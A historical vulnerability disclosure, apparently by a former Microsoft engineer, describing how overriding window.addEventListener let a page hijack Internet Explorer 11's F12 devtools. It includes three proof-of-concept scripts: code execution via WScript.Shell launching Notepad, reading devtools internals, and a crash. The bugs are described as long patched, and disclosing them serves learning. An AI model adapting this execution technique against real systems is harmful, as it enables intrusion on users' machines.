The F12 Developer Tools in IE used addEventListener on the host page’s window to communicate with the inspected tab. If a page overrides window.addEventListener, it intercepts F12’s communication and gets a reference to a Function object from the devtools’ own Trident instance — which runs at a higher privilege level. From there, arbitrary code execution was straightforward.
<!-- PoC 1: Remote Code Execution -->
<script>
window.addEventListener = function() {
var F12Function = arguments[1].constructor; // Function object from F12's Trident
var Shell = F12Function("return new ActiveXObject('WScript.Shell')")();
Shell.Exec("notepad"); // Open Notepad
}
</script>
<!-- PoC 2: Accessing F12 internals -->
<script>
window.addEventListener = function() {
var F12Function = arguments[1].constructor;
var Common = F12Function("return Common")();
var toolUI = F12Function("return toolUI")();
alert(toolUI.getBreakFlags());
alert(Common.Intellisense);
}
</script>
<!-- PoC 3: Crash F12 -->
<script>
window.addEventListener = function() {
alert("Close F12 first and then click OK on this alert to crash!");
}
</script>
The three proofs of concept demonstrate the range of impact: full RCE via WScript.Shell, access to F12’s internal objects (Common, toolUI), and a simple crash. All three are triggered by the same root cause — overriding addEventListener lets a page hijack the devtools’ callback registration. To reproduce, the HTML needs to be served from a web server and F12 opened with F12. Tested against IE11 at the time of discovery.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.